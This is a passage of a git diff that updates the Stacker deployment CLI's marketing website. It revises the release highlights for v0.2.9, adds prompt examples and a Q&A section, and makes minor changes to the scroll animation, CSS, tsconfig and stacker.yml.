         <span class="section__label">Latest Release</span>
-        <h2 class="section__title">Stacker v0.2.7<br><span class="gradient-text">brings the operator tools.</span></h2>
-        <p class="section__desc">The newest release expands Stacker from deployment setup into ongoing operations, app-to-app automation, secure runtime options, and marketplace delivery.</p>
+        <h2 class="section__title">Stacker v0.2.9<br><span class="gradient-text">brings smarter onboarding &amp; deploy reliability.</span></h2>
+        <p class="section__desc">The newest release adds AI config setup from the CLI, OAuth device auth, .env bootstrapping on deploy, improved Hetzner support, and hardened agent health and log workflows.</p>
       </div>
       <div class="release__grid">
         <article class="release-card" data-animate="fade-up" data-delay="0">
-          <span class="release-card__eyebrow">Automation</span>
-          <h3 class="release-card__title">Pipes</h3>
-          <p class="release-card__desc">Create, activate, trigger, replay, and inspect pipe executions to move data between apps without building glue code first.</p>
+          <span class="release-card__eyebrow">AI Setup</span>
+          <h3 class="release-card__title">stacker config setup ai</h3>
+          <p class="release-card__desc">Configure your AI provider, endpoint, model, and tasks directly from the CLI — Ollama-friendly with <code>--provider</code>, <code>--endpoint</code>, and <code>--model</code> flags.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="100">
+          <span class="release-card__eyebrow">Auth</span>
+          <h3 class="release-card__title">OAuth device authorization</h3>
+          <p class="release-card__desc">Browser-free device auth flow with default auth and API URLs stored in <code>~/.config/stacker/config.yml</code>. <code>stacker login</code> now works in headless environments.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="200">
+          <span class="release-card__eyebrow">Deploy</span>
+          <h3 class="release-card__title">.env bootstrapping</h3>
+          <p class="release-card__desc">Cloud and server deploys automatically create missing <code>.env</code> files from adjacent <code>.env.example</code> files, with restrictive local permissions where supported.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="300">
+          <span class="release-card__eyebrow">Reliability</span>
+          <h3 class="release-card__title">Preflight checks</h3>
+          <p class="release-card__desc">New preflight validation catches config-bundle issues, rejects absolute destinations, and lists file mappings before sending deploy requests to avoid silent failures.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="0">
+          <span class="release-card__eyebrow">Networking</span>
+          <h3 class="release-card__title">npm default network</h3>
+          <p class="release-card__desc">Projects using npm now automatically get a default external network injected so services can communicate without manual compose network configuration.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="100">
+          <span class="release-card__eyebrow">Agent</span>
+          <h3 class="release-card__title">Health, logs &amp; npm detection</h3>
+          <p class="release-card__desc">Agent health checks, log streaming, and npm project detection are all fixed. Separator widths are consistent. Hardened for live production environments.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="200">
+          <span class="release-card__eyebrow">Cloud</span>
+          <h3 class="release-card__title">Hetzner location fixes</h3>
+          <p class="release-card__desc">Location aliases like <code>nbg1</code> are now normalized to installer-compatible datacenter values such as <code>nbg1-dc3</code>. Default server type updated to <code>cx23</code>.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="300">
+          <span class="release-card__eyebrow">Config</span>
+          <h3 class="release-card__title">Config promote &amp; inventory</h3>
+          <p class="release-card__desc">Promote config keys across environments, diff inventories, check contracts, and use <code>--remote</code> to enrich targets with Vault-backed secret metadata without fetching values.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="0">
+          <span class="release-card__eyebrow">Secrets</span>
+          <h3 class="release-card__title">Remote service secrets</h3>
+          <p class="release-card__desc">Store Vault-backed secrets for deployable service and app targets from <code>stacker.yml</code> and supported Compose services, with metadata-only reads for safe inspection.</p>
         </article>
         <article class="release-card" data-animate="fade-up" data-delay="100">
           <span class="release-card__eyebrow">Operations</span>
-          <h3 class="release-card__title">Remote agent control</h3>
-          <p class="release-card__desc">Health checks, logs, deploy-app, configure-proxy, and configure-firewall are now first-class CLI workflows for live environments.</p>
+          <h3 class="release-card__title">Cloud firewall controls</h3>
+          <p class="release-card__desc">Open, remove, and list provider firewall rules without SSH, while guest OS firewall operations remain available through the agent for fine-grained control.</p>
         </article>
         <article class="release-card" data-animate="fade-up" data-delay="200">
-          <span class="release-card__eyebrow">Security</span>
-          <h3 class="release-card__title">Kata runtime + hardening</h3>
-          <p class="release-card__desc">Choose <code>kata</code> for stronger container isolation and ship with tightened cross-user access controls backed by new IDOR coverage.</p>
+          <span class="release-card__eyebrow">MCP</span>
+          <h3 class="release-card__title">Remote secret tools</h3>
+          <p class="release-card__desc">AI clients can list remote secret targets and manage service secret metadata through the MCP server while plaintext values stay safely in Vault.</p>
         </article>
         <article class="release-card" data-animate="fade-up" data-delay="300">
           <span class="release-card__eyebrow">Distribution</span>
           <h3 class="release-card__title">Marketplace workflows</h3>
-          <p class="release-card__desc">Submit stacks for review, track approval status, and inspect reviewer feedback directly from the CLI.</p>
+          <p class="release-card__desc">Submit stacks for review with <code>stacker submit</code>, track approval status, and inspect reviewer feedback directly from the CLI with <code>stacker marketplace</code>.</p>
         </article>
       </div>
     </div>
@@ -328,50 +380,30 @@ <h3 class="ai-section__providers-title">Supported AI Providers</h3>
   <section class="section examples" id="examples">
     <div class="container">
       <div class="section__header" data-animate="fade-up">
-        <span class="section__label">Examples</span>
-        <h2 class="section__title">Real commands.<br><span class="gradient-text">Real operator output.</span></h2>
-        <p class="section__desc">Examples from the current CLI, including AI guidance for bare-metal servers and remote operations on live deployments.</p>
+        <span class="section__label">Prompt Examples</span>
+        <h2 class="section__title">Paste-ready prompts.<br><span class="gradient-text">Website ideas you can ship.</span></h2>
+        <p class="section__desc">Use these examples with <code>stacker ai ask</code> when you want Stacker to scaffold a site, adapt a template, and prepare deployment to Hetzner or your own server.</p>
       </div>
       <div class="examples__grid">
         <article class="example-card" data-animate="fade-up" data-delay="0">
-          <div class="example-card__label">Real AI example</div>
-          <h3 class="example-card__title">Ask how to connect a metal bare server</h3>
-          <pre class="example-card__output"><code>❯ ./stacker ai ask "how do I connect my metal bare server"
-To connect your metal bare server using the provided `stacker.yml` configuration, you need to update the `deploy.server` section with the necessary details. Here is an example of how to configure it:
-
-```yaml
-deploy:
-  target: server
-  compose_file: null
-  cloud: null
-  server:
-    host: your_server_ip_or_hostname
-    user: root
-    port: 22
-    ssh_key: ~/.ssh/id_rsa
-```
-
-Replace `your_server_ip_or_hostname` with the actual IP address or hostname of your metal bare server.
-
-After updating the `deploy.server` section, you can deploy to your server using:
-
-```sh
-stacker deploy --target server
-```
-
-Make sure that your SSH key is correctly set up and that the user has the necessary permissions on the server.</code></pre>
+          <div class="example-card__label">Next.js starter</div>
+          <h3 class="example-card__title">Reggae fan site from a template link</h3>
+          <pre class="example-card__output"><code>❯ stacker ai ask "Create a website dedicated to reggae using https://example.com/reggae as the design template. The site should be built with Next.js. Start with just two pages: home page and contact us page. Deploy it to Hetzner Cloud using Stacker CLI."</code></pre>
         </article>
         <article class="example-card" data-animate="fade-up" data-delay="100">
-          <div class="example-card__label">New in v0.2.7</div>
-          <h3 class="example-card__title">Open ports and keep your database private</h3>
-          <pre class="example-card__output"><code>❯ stacker agent configure-firewall \
-    --public-ports 80/tcp,443/tcp \
-    --private-ports 5432/tcp:10.0.0.0/8
-▸ Checking deployment and agent capabilities...
-▸ Applying iptables rules on target server...
-✓ Opened 80/tcp and 443/tcp to the public internet
-✓ Restricted 5432/tcp to 10.0.0.0/8
-✓ Firewall rules persisted for future reboots</code></pre>
+          <div class="example-card__label">Marketing site</div>
+          <h3 class="example-card__title">Launch a product landing page with blog support</h3>
+          <pre class="example-card__output"><code>❯ stacker ai ask "Build a modern SaaS landing page using https://example.com/saas-launch as the visual template. Use Next.js with a homepage, pricing page, blog index, and contact form. Add PostgreSQL for newsletter signups and deploy the stack to Hetzner with Stacker."</code></pre>
+        </article>
+        <article class="example-card" data-animate="fade-up" data-delay="200">
+          <div class="example-card__label">Portfolio</div>
+          <h3 class="example-card__title">Create a studio website with CMS</h3>
+          <pre class="example-card__output"><code>❯ stacker ai ask "Create a portfolio website for an interior design studio based on https://example.com/studio-portfolio. Use Next.js, include home, projects, about, and contact pages, and add a lightweight admin CMS for editing project entries. Prepare the deployment for Hetzner Cloud with Stacker CLI."</code></pre>
+        </article>
+        <article class="example-card" data-animate="fade-up" data-delay="300">
+          <div class="example-card__label">Docs + community</div>
+          <h3 class="example-card__title">Ship a docs-driven open source site</h3>
+          <pre class="example-card__output"><code>❯ stacker ai ask "Create a documentation website for an open source CLI using https://example.com/docs-template as the template reference. Use Next.js and add home, docs, changelog, and contact pages. Include search-ready content structure and deploy it to Hetzner using Stacker."</code></pre>
         </article>
       </div>
     </div>
@@ -562,7 +594,7 @@ <h2 class="section__title">21 top-level commands.<br><span class="gradient-text"
           <div class="command-card__header">
             <code class="command-card__cmd">stacker secrets</code>
           </div>
-          <p class="command-card__desc">Manage <code>.env</code> values, mask secrets in output, and validate config references before deploys.</p>
+          <p class="command-card__desc">Manage <code>.env</code> values plus remote Vault-backed service/app target secrets with metadata-only reads.</p>
         </div>
         <div class="command-card" data-command="ci">
           <div class="command-card__header">
@@ -634,13 +666,35 @@ <h2 class="section__title">Deploy anywhere.<br><span class="gradient-text">Your
     </div>
   </section>
 
+  <!-- Q&A Section -->
+  <section class="section" id="qa">
+    <div class="container">
+      <div class="section__header" data-animate="fade-up">
+        <span class="section__label">Q&amp;A</span>
+        <h2 class="section__title">Common deployment questions.<br><span class="gradient-text">Answered directly.</span></h2>
+      </div>
+      <div class="release__grid">
+        <article class="release-card" data-animate="fade-up">
+          <span class="release-card__eyebrow">Agents</span>
+          <h3 class="release-card__title">Can one Stacker project have more than one agent?</h3>
+          <p class="release-card__desc">Yes. A single project can have multiple deployments, and each deployment runs its own Status Panel agent. That means staging and production can belong to the same project while still using different agents on different servers.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="100">
+          <span class="release-card__eyebrow">Targeting</span>
+          <h3 class="release-card__title">How do I talk to the right agent?</h3>
+          <p class="release-card__desc">Use <code>--deployment &lt;hash&gt;</code> when a project has more than one deployment. Without it, the CLI resolves the target from the local deployment lock or falls back to the most recently active deployment found from <code>stacker.yml</code>.</p>
+        </article>
+      </div>
+    </div>
+  </section>
+
   <!-- CTA Section -->
   <section class="section cta" id="cta">
     <div class="container">
       <div class="cta__inner" data-animate="fade-up">
         <div class="cta__glow" aria-hidden="true"></div>
         <h2 class="cta__title">Ready to deploy<br><span class="gradient-text">smarter?</span></h2>
-        <p class="cta__desc">Ship with the current Stacker release: AI config, bare-metal deploys, pipes, agent ops, and marketplace workflows in one place.</p>
+        <p class="cta__desc">Ship with the current Stacker release: AI config, bare-metal deploys, service secrets, cloud firewalls, pipes, and agent ops in one place.</p>
         <div class="cta__actions">
           <a href="https://github.com/trydirect/stacker" target="_blank" rel="noopener" class="btn btn--primary btn--lg">
             <svg width="20" height="20" viewBox="0 0 24 24" fill="currentColor"><path d="M12 0c-6.626 0-12 5.373-12 12 0 5.302 3.438 9.8 8.207 11.387.599.111.793-.261.793-.577v-2.234c-3.338.726-4.033-1.416-4.033-1.416-.546-1.387-1.333-1.756-1.333-1.756-1.089-.745.083-.729.083-.729 1.205.084 1.839 1.237 1.839 1.237 1.07 1.834 2.807 1.304 3.492.997.107-.775.418-1.305.762-1.604-2.665-.305-5.467-1.334-5.467-5.931 0-1.311.469-2.381 1.236-3.221-.124-.303-.535-1.524.117-3.176 0 0 1.008-.322 3.301 1.23.957-.266 1.983-.399 3.003-.404 1.02.005 2.047.138 3.006.404 2.291-1.552 3.297-1.23 3.297-1.23.653 1.653.242 2.874.118 3.176.77.84 1.235 1.911 1.235 3.221 0 4.609-2.807 5.624-5.479 5.921.43.372.823 1.102.823 2.222v3.293c0 .319.192.694.801.576 4.765-1.589 8.199-6.086 8.199-11.386 0-6.627-5.373-12-12-12z"/></svg>
@@ -717,6 +771,6 @@ <h4>Community</h4>
     </div>
   </footer>
 
-  <script src="main.js"></script>
+  <script type="module" src="main.js"></script>
 </body>
 </html>
diff --git a/website/src/main.ts b/website/src/main.ts
index abf03f29..ce6a42ef 100644
--- a/website/src/main.ts
+++ b/website/src/main.ts
@@ -244,8 +244,16 @@ class ScrollAnimator {
       { threshold: 0.1, rootMargin: '0px 0px -50px 0px' }
     );
 
+    const vh = window.innerHeight;
     document.querySelectorAll('[data-animate]').forEach((el) => {
-      this.observer.observe(el);
+      const rect = (el as HTMLElement).getBoundingClientRect();
+      if (rect.top < vh) {
+        // Element is already in the viewport — show it immediately
+        const delay = parseInt((el as HTMLElement).dataset.delay || '0', 10);
+        setTimeout(() => (el as HTMLElement).classList.add('is-visible'), delay);
+      } else {
+        this.observer.observe(el);
+      }
     });
   }
 }
diff --git a/website/src/styles.css b/website/src/styles.css
index 7192f466..3d40b46a 100644
--- a/website/src/styles.css
+++ b/website/src/styles.css
@@ -226,6 +226,7 @@ code {
   width: 36px;
   height: 36px;
   object-fit: contain;
+  vertical-align: middle;
 }
 
 .nav__logo-text {
@@ -511,6 +512,10 @@ code {
   line-height: 1.8;
 }
 
+.hero__terminal .terminal__body {
+  min-height: 200px;
+}
+
 .terminal--compact .terminal__body {
   padding: 14px 16px;
   font-size: 0.8rem;
diff --git a/website/stacker-cli b/website/stacker-cli
deleted file mode 100755
index a0ebbc6f..00000000
Binary files a/website/stacker-cli and /dev/null differ
diff --git a/website/stacker.yml b/website/stacker.yml
index ac4bc558..cb997526 100644
--- a/website/stacker.yml
+++ b/website/stacker.yml
@@ -53,13 +53,13 @@ deploy:
   registry:
     username: trydirect
     password: ${DOCKER_PASSWORD}
-    server: https://index.docker.io/v1/
+    server: docker.io
 ai:
   enabled: true
   provider: ollama
-  model: qwen3-coder
+  model: glm4.7-flash
   api_key: null
-  endpoint: http://192.168.100.245:11434
+  endpoint: http://ai.try.direct:11434
   timeout: 300
   tasks:
   - dockerfile
@@ -75,4 +75,4 @@ hooks:
   post_deploy: scripts/post-deploy.sh
   on_failure: scripts/on-failure.sh
 env_file: .env
-env: {}
\ No newline at end of file
+env: {}
diff --git a/website/tsconfig.json b/website/tsconfig.json
index 80f47042..ee56cbc8 100644
--- a/website/tsconfig.json
+++ b/website/tsconfig.json
@@ -2,13 +2,11 @@
   "compilerOptions": {
     "target": "ES2020",
     "module": "ES2020",
+    "moduleResolution": "bundler",
     "strict": true,
-    "esModuleInterop": true,
     "outDir": "./dist",
     "rootDir": "./src",
-    "declaration": true,
-    "sourceMap": true,
-    "moduleResolution": "node"
+    "sourceMap": true
   },
   "include": ["src/**/*.ts"]
 }